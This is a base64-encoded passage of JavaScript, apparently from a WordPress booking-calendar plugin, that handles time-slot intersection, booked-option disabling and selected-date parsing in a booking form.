VsgMSBdICkpICl7XHJcblx0XHRcdFx0XHRyZXR1cm4gdHJ1ZVxyXG5cdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0Ly8gaWYgKCAoIHBhcnNlSW50KCB0aW1lX0EgKSA9PSBwYXJzZUludCggdGltZV9pbnRlcnZhbF9CWyBqIF1bIDAgXSApICkgfHwgKCBwYXJzZUludCggdGltZV9BICkgPT0gcGFyc2VJbnQoIHRpbWVfaW50ZXJ2YWxfQlsgaiBdWyAxIF0gKSApICkge1xyXG5cdFx0XHRcdC8vIFx0XHRcdC8vIFRpbWUgQSBqdXN0ICBhdCAgdGhlIGJvcmRlciBvZiBpbnRlcnZhbFxyXG5cdFx0XHRcdC8vIH1cclxuXHRcdFx0fVxyXG5cclxuXHRcdCAgICByZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblxyXG5cdFx0LyoqXHJcblx0XHQgKiBJcyB0aGVzZSBhcnJheSBvZiBpbnRlcnZhbHMgaW50ZXJzZWN0ZWQgP1xyXG5cdFx0ICpcclxuXHRcdCAqIEBwYXJhbSB0aW1lX2ludGVydmFsX0FcdFx0LSBbIFsgMjE2MDAsIDIzNDAwIF0gXVxyXG5cdFx0ICogQHBhcmFtIHRpbWVfaW50ZXJ2YWxfQlx0XHQtIFsgIFsgMjUyMTEsIDI3MDAyIF0sIFsgMzYwMTEsIDg2NDAwIF0gIF1cclxuXHRcdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdFx0ICovXHJcblx0XHRmdW5jdGlvbiB3cGJjX2lzX2ludGVyc2VjdF9fcmFuZ2VfdGltZV9pbnRlcnZhbCggdGltZV9pbnRlcnZhbF9BLCB0aW1lX2ludGVydmFsX0IgKXtcclxuXHJcblx0XHRcdHZhciBpc19pbnRlcnNlY3Q7XHJcblxyXG5cdFx0XHRmb3IgKCB2YXIgaSA9IDA7IGkgPCB0aW1lX2ludGVydmFsX0EubGVuZ3RoOyBpKysgKXtcclxuXHJcblx0XHRcdFx0Zm9yICggdmFyIGogPSAwOyBqIDwgdGltZV9pbnRlcnZhbF9CLmxlbmd0aDsgaisrICl7XHJcblxyXG5cdFx0XHRcdFx0aXNfaW50ZXJzZWN0ID0gd3BiY19pbnRlcnZhbHNfX2lzX2ludGVyc2VjdGVkKCB0aW1lX2ludGVydmFsX0FbIGkgXSwgdGltZV9pbnRlcnZhbF9CWyBqIF0gKTtcclxuXHJcblx0XHRcdFx0XHRpZiAoIGlzX2ludGVyc2VjdCApe1xyXG5cdFx0XHRcdFx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHJcblx0XHQvKipcclxuXHRcdCAqIEdldCBhbGwgdGltZSBmaWVsZHMgaW4gdGhlIGJvb2tpbmcgZm9ybSBhcyBhcnJheSAgb2Ygb2JqZWN0c1xyXG5cdFx0ICpcclxuXHRcdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdFx0ICogQHJldHVybnMgW11cclxuXHRcdCAqXHJcblx0XHQgKiBcdFx0RXhhbXBsZTpcclxuXHRcdCAqIFx0XHRcdFx0XHRbXHJcblx0XHQgKiBcdFx0XHRcdFx0IFx0ICAge1xyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdHZhbHVlX29wdGlvbl8yNGg6ICAgJzA2OjAwIC0gMDY6MzAnXHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwLCAyMzQwMCBdXHJcblx0XHQgKiBcdFx0XHRcdFx0IFx0ICAgXHRcdGpxdWVyeV9vcHRpb246ICAgICAgalF1ZXJ5X09iamVjdCB7fVxyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdG5hbWU6ICAgICAgICAgICAgICAgJ3JhbmdldGltZTJbXSdcclxuXHRcdCAqIFx0XHRcdFx0XHQgICAgIH1cclxuXHRcdCAqIFx0XHRcdFx0XHQgIC4uLlxyXG5cdFx0ICogXHRcdFx0XHRcdFx0ICAge1xyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdHZhbHVlX29wdGlvbl8yNGg6ICAgJzA2OjAwJ1xyXG5cdFx0ICogXHRcdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHM6ICAgWyAyMTYwMCBdXHJcblx0XHQgKiBcdFx0XHRcdFx0XHQgICBcdFx0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0bmFtZTogICAgICAgICAgICAgICAnc3RhcnR0aW1lMltdJ1xyXG5cdFx0ICogIFx0XHRcdFx0XHQgICAgfVxyXG5cdFx0ICogXHRcdFx0XHRcdCBdXHJcblx0XHQgKi9cclxuXHRcdGZ1bmN0aW9uIHdwYmNfZ2V0X190aW1lX2ZpZWxkc19faW5fYm9va2luZ19mb3JtX19hc19hcnIoIHJlc291cmNlX2lkICl7XHJcblx0XHQgICAgLyoqXHJcblx0XHRcdCAqIEZpZWxkcyB3aXRoICBbXSAgbGlrZSB0aGlzICAgc2VsZWN0W25hbWU9XCJyYW5nZXRpbWUxW11cIl1cclxuXHRcdFx0ICogaXQncyB3aGVuIHdlIGhhdmUgJ211bHRpcGxlJyBpbiBzaG9ydGNvZGU6ICAgW3NlbGVjdCogcmFuZ2V0aW1lIG11bHRpcGxlICBcIjA2OjAwIC0gMDY6MzBcIiAuLi4gXVxyXG5cdFx0XHQgKi9cclxuXHRcdFx0dmFyIHRpbWVfZmllbGRzX2Fycj1bXHJcblx0XHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInJhbmdldGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJyYW5nZXRpbWUnICsgcmVzb3VyY2VfaWQgKyAnW11cIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJzdGFydHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwic3RhcnR0aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwiZW5kdGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJlbmR0aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJ1xyXG5cdFx0XHRcdFx0XHRcdFx0XTtcclxuXHJcblx0XHRcdHZhciB0aW1lX2ZpZWxkc19vYmpfYXJyID0gW107XHJcblxyXG5cdFx0XHQvLyBMb29wIGFsbCBUaW1lIEZpZWxkc1xyXG5cdFx0XHRmb3IgKCB2YXIgY3RmPSAwOyBjdGYgPCB0aW1lX2ZpZWxkc19hcnIubGVuZ3RoOyBjdGYrKyApe1xyXG5cclxuXHRcdFx0XHR2YXIgdGltZV9maWVsZCA9IHRpbWVfZmllbGRzX2FyclsgY3RmIF07XHJcblx0XHRcdFx0dmFyIHRpbWVfb3B0aW9uID0galF1ZXJ5KCB0aW1lX2ZpZWxkICsgJyBvcHRpb24nICk7XHJcblxyXG5cdFx0XHRcdC8vIExvb3AgYWxsIG9wdGlvbnMgaW4gdGltZSBmaWVsZFxyXG5cdFx0XHRcdGZvciAoIHZhciBqID0gMDsgaiA8IHRpbWVfb3B0aW9uLmxlbmd0aDsgaisrICl7XHJcblxyXG5cdFx0XHRcdFx0dmFyIGpxdWVyeV9vcHRpb24gPSBqUXVlcnkoIHRpbWVfZmllbGQgKyAnIG9wdGlvbjplcSgnICsgaiArICcpJyApO1xyXG5cdFx0XHRcdFx0dmFyIHZhbHVlX29wdGlvbl9zZWNvbmRzX2FyciA9IGpxdWVyeV9vcHRpb24udmFsKCkuc3BsaXQoICctJyApO1xyXG5cdFx0XHRcdFx0dmFyIHRpbWVzX2FzX3NlY29uZHMgPSBbXTtcclxuXHJcblx0XHRcdFx0XHQvLyBHZXQgdGltZSBhcyBzZWNvbmRzXHJcblx0XHRcdFx0XHRpZiAoIHZhbHVlX29wdGlvbl9zZWNvbmRzX2Fyci5sZW5ndGggKXtcdFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjguMTAuMVxyXG5cdFx0XHRcdFx0XHRmb3IgKCBsZXQgaSA9IDA7IGkgPCB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnIubGVuZ3RoOyBpKysgKXtcdFx0Ly9GaXhJbjogMTAuMC4wLjU2XHJcblx0XHRcdFx0XHRcdFx0Ly8gdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyW2ldID0gJzE0OjAwICcgIHwgJyAxNjowMCcgICAoaWYgZnJvbSAncmFuZ2V0aW1lJykgYW5kICcxNjowMCcgIGlmIChzdGFydC9lbmQgdGltZSlcclxuXHJcblx0XHRcdFx0XHRcdFx0dmFyIHN0YXJ0X2VuZF90aW1lc19hcnIgPSB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnJbIGkgXS50cmltKCkuc3BsaXQoICc6JyApO1xyXG5cclxuXHRcdFx0XHRcdFx0XHR2YXIgdGltZV9pbl9zZWNvbmRzID0gcGFyc2VJbnQoIHN0YXJ0X2VuZF90aW1lc19hcnJbIDAgXSApICogNjAgKiA2MCArIHBhcnNlSW50KCBzdGFydF9lbmRfdGltZXNfYXJyWyAxIF0gKSAqIDYwO1xyXG5cclxuXHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzLnB1c2goIHRpbWVfaW5fc2Vjb25kcyApO1xyXG5cdFx0XHRcdFx0XHR9XHJcblx0XHRcdFx0XHR9XHJcblxyXG5cdFx0XHRcdFx0dGltZV9maWVsZHNfb2JqX2Fyci5wdXNoKCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCduYW1lJyAgICAgICAgICAgIDogalF1ZXJ5KCB0aW1lX2ZpZWxkICkuYXR0ciggJ25hbWUnICksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd2YWx1ZV9vcHRpb25fMjRoJzoganF1ZXJ5X29wdGlvbi52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxdWVyeV9vcHRpb24nICAgOiBqcXVlcnlfb3B0aW9uLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndGltZXNfYXNfc2Vjb25kcyc6IHRpbWVzX2FzX3NlY29uZHNcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHJcblx0XHRcdHJldHVybiB0aW1lX2ZpZWxkc19vYmpfYXJyO1xyXG5cdFx0fVxyXG5cclxuXHRcdFx0LyoqXHJcblx0XHRcdCAqIERpc2FibGUgSFRNTCBvcHRpb25zIGFuZCBhZGQgYm9va2VkIENTUyBjbGFzc1xyXG5cdFx0XHQgKlxyXG5cdFx0XHQgKiBAcGFyYW0gdGltZV9maWVsZHNfb2JqX2FyciAgICAgIC0gdGhpcyB2YWx1ZSBpcyBmcm9tICB0aGUgZnVuYzogIFx0d3BiY19nZXRfX3RpbWVfZmllbGRzX19pbl9ib29raW5nX2Zvcm1fX2FzX2FyciggcmVzb3VyY2VfaWQgKVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0W1xyXG5cdFx0XHQgKiBcdFx0XHRcdFx0IFx0ICAge1x0anF1ZXJ5X29wdGlvbjogICAgICBqUXVlcnlfT2JqZWN0IHt9XHJcblx0XHRcdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdyYW5nZXRpbWUyW10nXHJcblx0XHRcdCAqIFx0XHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzOiAgIFsgMjE2MDAsIDIzNDAwIF1cclxuXHRcdFx0ICogXHRcdFx0XHRcdFx0XHRcdHZhbHVlX29wdGlvbl8yNGg6ICAgJzA2OjAwIC0gMDY6MzAnXHJcblx0XHRcdCAqIFx0ICBcdFx0XHRcdFx0XHQgICAgZGlzYWJsZWQgPSAxXHJcblx0XHRcdCAqIFx0XHRcdFx0XHQgICAgIH1cclxuXHRcdFx0ICogXHRcdFx0XHRcdCAgLi4uXHJcblx0XHRcdCAqIFx0XHRcdFx0XHRcdCAgIHtcdGpxdWVyeV9vcHRpb246ICAgICAgalF1ZXJ5X09iamVjdCB7fVxyXG5cdFx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0bmFtZTogICAgICAgICAgICAgICAnc3RhcnR0aW1lMltdJ1xyXG5cdFx0XHQgKiBcdFx0XHRcdFx0XHRcdFx0dGltZXNfYXNfc2Vjb25kczogICBbIDIxNjAwIF1cclxuXHRcdFx0ICogXHRcdFx0XHRcdFx0XHRcdHZhbHVlX29wdGlvbl8yNGg6ICAgJzA2OjAwJ1xyXG5cdFx0XHQgKiAgIFx0XHRcdFx0XHRcdFx0ZGlzYWJsZWQgPSAwXHJcblx0XHRcdCAqICBcdFx0XHRcdFx0ICAgIH1cclxuXHRcdFx0ICogXHRcdFx0XHRcdCBdXHJcblx0XHRcdCAqXHJcblx0XHRcdCAqL1xyXG5cdFx0XHRmdW5jdGlvbiB3cGJjX19odG1sX190aW1lX2ZpZWxkX29wdGlvbnNfX3NldF9kaXNhYmxlZCggdGltZV9maWVsZHNfb2JqX2FyciApe1xyXG5cclxuXHRcdFx0XHR2YXIganF1ZXJ5X29wdGlvbjtcclxuXHJcblx0XHRcdFx0Zm9yICggdmFyIGkgPSAwOyBpIDwgdGltZV9maWVsZHNfb2JqX2Fyci5sZW5ndGg7IGkrKyApe1xyXG5cclxuXHRcdFx0XHRcdHZhciBqcXVlcnlfb3B0aW9uID0gdGltZV9maWVsZHNfb2JqX2FyclsgaSBdLmpxdWVyeV9vcHRpb247XHJcblxyXG5cdFx0XHRcdFx0aWYgKCAxID09IHRpbWVfZmllbGRzX29ial9hcnJbIGkgXS5kaXNhYmxlZCApe1xyXG5cdFx0XHRcdFx0XHRqcXVlcnlfb3B0aW9uLnByb3AoICdkaXNhYmxlZCcsIHRydWUgKTsgXHRcdC8vIE1ha2UgZGlzYWJsZSBzb21lIG9wdGlvbnNcclxuXHRcdFx0XHRcdFx0anF1ZXJ5X29wdGlvbi5hZGRDbGFzcyggJ2Jvb2tlZCcgKTsgICAgICAgICAgIFx0Ly8gQWRkIFwiYm9va2VkXCIgQ1NTIGNsYXNzXHJcblxyXG5cdFx0XHRcdFx0XHQvLyBpZiB0aGlzIGJvb2tlZCBlbGVtZW50IHNlbGVjdGVkIC0tPiB0aGVuIGRlc2VsZWN0ICBpdFxyXG5cdFx0XHRcdFx0XHRpZiAoIGpxdWVyeV9vcHRpb24ucHJvcCggJ3NlbGVjdGVkJyApICl7XHJcblx0XHRcdFx0XHRcdFx0anF1ZXJ5X29wdGlvbi5wcm9wKCAnc2VsZWN0ZWQnLCBmYWxzZSApO1xyXG5cclxuXHRcdFx0XHRcdFx0XHRqcXVlcnlfb3B0aW9uLnBhcmVudCgpLmZpbmQoICdvcHRpb246bm90KFtkaXNhYmxlZF0pOmZpcnN0JyApLnByb3AoICdzZWxlY3RlZCcsIHRydWUgKS50cmlnZ2VyKCBcImNoYW5nZVwiICk7XHJcblx0XHRcdFx0XHRcdH1cclxuXHJcblx0XHRcdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdFx0XHRqcXVlcnlfb3B0aW9uLnByb3AoICdkaXNhYmxlZCcsIGZhbHNlICk7ICBcdFx0Ly8gTWFrZSBhY3RpdmUgYWxsIHRpbWVzXHJcblx0XHRcdFx0XHRcdGpxdWVyeV9vcHRpb24ucmVtb3ZlQ2xhc3MoICdib29rZWQnICk7ICAgXHRcdC8vIFJlbW92ZSBjbGFzcyBcImJvb2tlZFwiXHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0fVxyXG5cclxuXHRcdFx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBDaGVjayBpZiB0aGlzIHRpbWVfcmFuZ2UgfCBUaW1lX1Nsb3QgaXMgRnVsbCBEYXkgIGJvb2tlZFxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHRpbWVzbG90X2Fycl9pbl9zZWNvbmRzXHRcdC0gWyAzNjAxMSwgODY0MDAgXVxyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfaXNfdGhpc190aW1lc2xvdF9fZnVsbF9kYXlfYm9va2VkKCB0aW1lc2xvdF9hcnJfaW5fc2Vjb25kcyApe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0XHQoIHRpbWVzbG90X2Fycl9pbl9zZWNvbmRzLmxlbmd0aCA+IDEgKVxyXG5cdFx0XHQmJiAoIHBhcnNlSW50KCB0aW1lc2xvdF9hcnJfaW5fc2Vjb25kc1sgMCBdICkgPCAzMCApXHJcblx0XHRcdCYmICggcGFyc2VJbnQoIHRpbWVzbG90X2Fycl9pbl9zZWNvbmRzWyAxIF0gKSA+ICAoICgyNCAqIDYwICogNjApIC0gMzApIClcclxuXHRcdCl7XHJcblx0XHRcdHJldHVybiB0cnVlO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBmYWxzZTtcclxuXHR9XHJcblxyXG5cclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8qICA9PSAgUyBlIGwgZSBjIHQgZSBkICAgIEQgYSB0IGUgcyAgLyAgVCBpIG0gZSAtIEYgaSBlIGwgZCBzICA9PVxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovXHJcblxyXG5cdC8qKlxyXG5cdCAqICBHZXQgYWxsIHNlbGVjdGVkIGRhdGVzIGluIFNRTCBmb3JtYXQgbGlrZSB0aGlzIFsgXCIyMDIzLTA4LTIzXCIsIFwiMjAyMy0wOC0yNFwiICwgLi4uIF1cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqIEByZXR1cm5zIHtbXX1cdFx0XHRbIFwiMjAyMy0wOC0yM1wiLCBcIjIwMjMtMDgtMjRcIiwgXCIyMDIzLTA4LTI1XCIsIFwiMjAyMy0wOC0yNlwiLCBcIjIwMjMtMDgtMjdcIiwgXCIyMDIzLTA4LTI4XCIsIFwiMjAyMy0wOC0yOVwiIF1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2dldF9fc2VsZWN0ZWRfZGF0ZXNfc3FsX19hc19hcnIoIHJlc291cmNlX2lkICl7XHJcblxyXG5cdFx0dmFyIHNlbGVjdGVkX2RhdGVzX2FyciA9IFtdO1xyXG5cdFx0c2VsZWN0ZWRfZGF0ZXNfYXJyID0galF1ZXJ5KCAnI2RhdGVfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnZhbCgpLnNwbGl0KCcsJyk7XHJcblxyXG5cdFx0aWYgKCBzZWxlY3RlZF9kYXRlc19hcnIubGVuZ3RoICl7XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly9GaXhJbjogOS44LjEwLjFcclxuXHRcdFx0Zm9yICggbGV0IGkgPSAwOyBpIDwgc2VsZWN0ZWRfZGF0ZXNfYXJyLmxlbmd0aDsgaSsrICl7XHRcdFx0XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjU2XHJcblx0XHRcdFx0c2VsZWN0ZWRfZGF0ZXNfYXJyWyBpIF0gPSBzZWxlY3RlZF9kYXRlc19hcnJbIGkgXS50cmltKCk7XHJcblx0XHRcdFx0c2VsZWN0ZWRfZGF0ZXNfYXJyWyBpIF0gPSBzZWxlY3RlZF9kYXRlc19hcnJbIGkgXS5zcGxpdCggJy4nICk7XHJcblx0XHRcdFx0aWYgKCBzZWxlY3RlZF9kYXRlc19hcnJbIGkgXS5sZW5ndGggPiAxICl7XHJcblx0XHRcdFx0XHRzZWxlY3RlZF9kYXRlc19hcnJbIGkgXSA9IHNlbGVjdGVkX2RhdGVzX2FyclsgaSBdWyAyIF0gKyAnLScgKyBzZWxlY3RlZF9kYXRlc19hcnJbIGkgXVsgMSBdICsgJy0nICsgc2VsZWN0ZWRfZGF0ZXNfYXJyWyBpIF1bIDAgXTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHQvLyBSZW1vdmUgZW1wdHkgZWxlbWVudHMgZnJvbSBhbiBhcnJheVxyXG5cdFx0c2VsZWN0ZWRfZGF0ZXNfYXJyID0gc2VsZWN0ZWRfZGF0ZXNfYXJyLmZpbHRlciggZnVuY3Rpb24gKCBuICl7IHJldHVybiBwYXJzZUludChuKTsgfSApO1xyXG5cclxuXHRcdHNlbGVjdGVkX2RhdGVzX2Fyci5zb3J0KCk7XHJcblxyXG5cdFx0cmV0dXJuIHNlbGVjdGVkX2RhdGVzX2FycjtcclxuXHR9XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgYWxsIHRpbWUgZmllbGRzIGluIHRoZSBib29raW5nIGZvcm0gYXMgYXJyYXkgIG9mIG9iamVjdHNcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqIEBwYXJhbSBpc19vbmx5X3NlbGVjdGVkX3RpbWVcclxuXHQgKiBAcmV0dXJucyBbXVxyXG5cdCAqXHJcblx0ICogXHRcdEV4YW1wbGU6XHJcblx0ICogXHRcdFx0XHRcdFtcclxuXHQgKiBcdFx0XHRcdFx0IFx0ICAge1xyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHR2YWx1ZV9vcHRpb25fMjRoOiAgICcwNjowMCAtIDA2OjMwJ1xyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHR0aW1lc19hc19zZWNvbmRzOiAgIFsgMjE2MDAsIDIzNDAwIF1cclxuXHQgKiBcdFx0XHRcdFx0IFx0ICAgXHRcdGpxdWVyeV9vcHRpb246ICAgICAgalF1ZXJ5X09iamVjdCB7fVxyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdyYW5nZXRpbWUyW10nXHJcblx0ICogXHRcdFx0XHRcdCAgICAgfVxyXG5cdCAqIFx0XHRcdFx0XHQgIC4uLlxyXG5cdCAqIFx0XHRcdFx0XHRcdCAgIHtcclxuXHQgKiBcdFx0XHRcdFx0XHRcdFx0dmFsdWVfb3B0aW9uXzI0aDogICAnMDY6MDAnXHJcblx0ICogXHRcdFx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHM6ICAgWyAyMTYwMCBdXHJcblx0ICogXHRcdFx0XHRcdFx0ICAgXHRcdGpxdWVyeV9vcHRpb246ICAgICAgalF1ZXJ5X09iamVjdCB7fVxyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHRuYW1lOiAgICAgICAgICAgICAgICdzdGFydHRpbWUyW10nXHJcblx0ICogIFx0XHRcdFx0XHQgICAgfVxyXG5cdCAqIFx0XHRcdFx0XHQgXVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfZ2V0X19zZWxlY3RlZF90aW1lX2ZpZWxkc19faW5fYm9va2luZ19mb3JtX19hc19hcnIoIHJlc291cmNlX2lkLCBpc19vbmx5X3NlbGVjdGVkX3RpbWUgPSB0cnVlICl7XHJcblx0XHQvKipcclxuXHRcdCAqIEZpZWxkcyB3aXRoICBbXSAgbGlrZSB0aGlzICAgc2VsZWN0W25hbWU9XCJyYW5nZXRpbWUxW11cIl1cclxuXHRcdCAqIGl0J3Mgd2hlbiB3ZSBoYXZlICdtdWx0aXBsZScgaW4gc2hvcnRjb2RlOiAgIFtzZWxlY3QqIHJhbmdldGltZSBtdWx0aXBsZSAgXCIwNjowMCAtIDA2OjMwXCIgLi4uIF1cclxuXHRcdCAqL1xyXG5cdFx0dmFyIHRpbWVfZmllbGRzX2Fycj1bXHJcblx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJyYW5nZXRpbWUnICsgcmVzb3VyY2VfaWQgKyAnXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInJhbmdldGltZScgKyByZXNvdXJjZV9pZCArICdbXVwiXScsXHJcblx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJzdGFydHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cInN0YXJ0dGltZScgKyByZXNvdXJjZV9pZCArICdbXVwiXScsXHJcblx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJlbmR0aW1lJyArIHJlc291cmNlX2lkICsgJ1wiXScsXHJcblx0XHRcdFx0XHRcdFx0XHQnc2VsZWN0W25hbWU9XCJlbmR0aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdCdzZWxlY3RbbmFtZT1cImR1cmF0aW9udGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0J3NlbGVjdFtuYW1lPVwiZHVyYXRpb250aW1lJyArIHJlc291cmNlX2lkICsgJ1tdXCJdJ1xyXG5cdFx0XHRcdFx0XHRcdF07XHJcblxyXG5cdFx0dmFyIHRpbWVfZmllbGRzX29ial9hcnIgPSBbXTtcclxuXHJcblx0XHQvLyBMb29wIGFsbCBUaW1lIEZpZWxkc1xyXG5cdFx0Zm9yICggdmFyIGN0Zj0gMDsgY3RmIDwgdGltZV9maWVsZHNfYXJyLmxlbmd0aDsgY3RmKysgKXtcclxuXHJcblx0XHRcdHZhciB0aW1lX2ZpZWxkID0gdGltZV9maWVsZHNfYXJyWyBjdGYgXTtcclxuXHJcblx0XHRcdHZhciB0aW1lX29wdGlvbjtcclxuXHRcdFx0aWYgKCBpc19vbmx5X3NlbGVjdGVkX3RpbWUgKXtcclxuXHRcdFx0XHR0aW1lX29wdGlvbiA9IGpRdWVyeSggJyNib29raW5nX2Zvcm0nICsgcmVzb3VyY2VfaWQgKyAnICcgKyB0aW1lX2ZpZWxkICsgJyBvcHRpb246c2VsZWN0ZWQnICk7XHRcdFx0Ly8gRXhjbHVkZSBjb25kaXRpb25hbCAgZmllbGRzLCAgYmVjYXVzZSBvZiB1c2luZyAnI2Jvb2tpbmdfZm9ybTMgLi4uJ1xyXG5cdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdHRpbWVfb3B0aW9uID0galF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCArICcgJyArIHRpbWVfZmllbGQgKyAnIG9wdGlvbicgKTtcdFx0XHRcdC8vIEFsbCAgdGltZSBmaWVsZHNcclxuXHRcdFx0fVxyXG5cclxuXHJcblx0XHRcdC8vIExvb3AgYWxsIG9wdGlvbnMgaW4gdGltZSBmaWVsZFxyXG5cdFx0XHRmb3IgKCB2YXIgaiA9IDA7IGogPCB0aW1lX29wdGlvbi5sZW5ndGg7IGorKyApe1xyXG5cclxuXHRcdFx0XHR2YXIganF1ZXJ5X29wdGlvbiA9IGpRdWVyeSggdGltZV9vcHRpb25bIGogXSApO1x0XHQvLyBHZXQgb25seSAgc2VsZWN0ZWQgb3B0aW9ucyBcdC8valF1ZXJ5KCB0aW1lX2ZpZWxkICsgJyBvcHRpb246ZXEoJyArIGogKyAnKScgKTtcclxuXHRcdFx0XHR2YXIgdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyID0ganF1ZXJ5X29wdGlvbi52YWwoKS5zcGxpdCggJy0nICk7XHJcblx0XHRcdFx0dmFyIHRpbWVzX2FzX3NlY29uZHMgPSBbXTtcclxuXHJcblx0XHRcdFx0Ly8gR2V0IHRpbWUgYXMgc2Vjb25kc1xyXG5cdFx0XHRcdGlmICggdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyLmxlbmd0aCApe1x0XHRcdFx0IFx0XHRcdFx0XHRcdFx0XHQvL0ZpeEluOiA5LjguMTAuMVxyXG5cdFx0XHRcdFx0Zm9yICggbGV0IGkgPSAwOyBpIDwgdmFsdWVfb3B0aW9uX3NlY29uZHNfYXJyLmxlbmd0aDsgaSsrICl7XHRcdFx0XHRcdC8vRml4SW46IDEwLjAuMC41NlxyXG5cdFx0XHRcdFx0XHQvLyB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnJbaV0gPSAnMTQ6MDAgJyAgfCAnIDE2OjAwJyAgIChpZiBmcm9tICdyYW5nZXRpbWUnKSBhbmQgJzE2OjAwJyAgaWYgKHN0YXJ0L2VuZCB0aW1lKVxyXG5cclxuXHRcdFx0XHRcdFx0dmFyIHN0YXJ0X2VuZF90aW1lc19hcnIgPSB2YWx1ZV9vcHRpb25fc2Vjb25kc19hcnJbIGkgXS50cmltKCkuc3B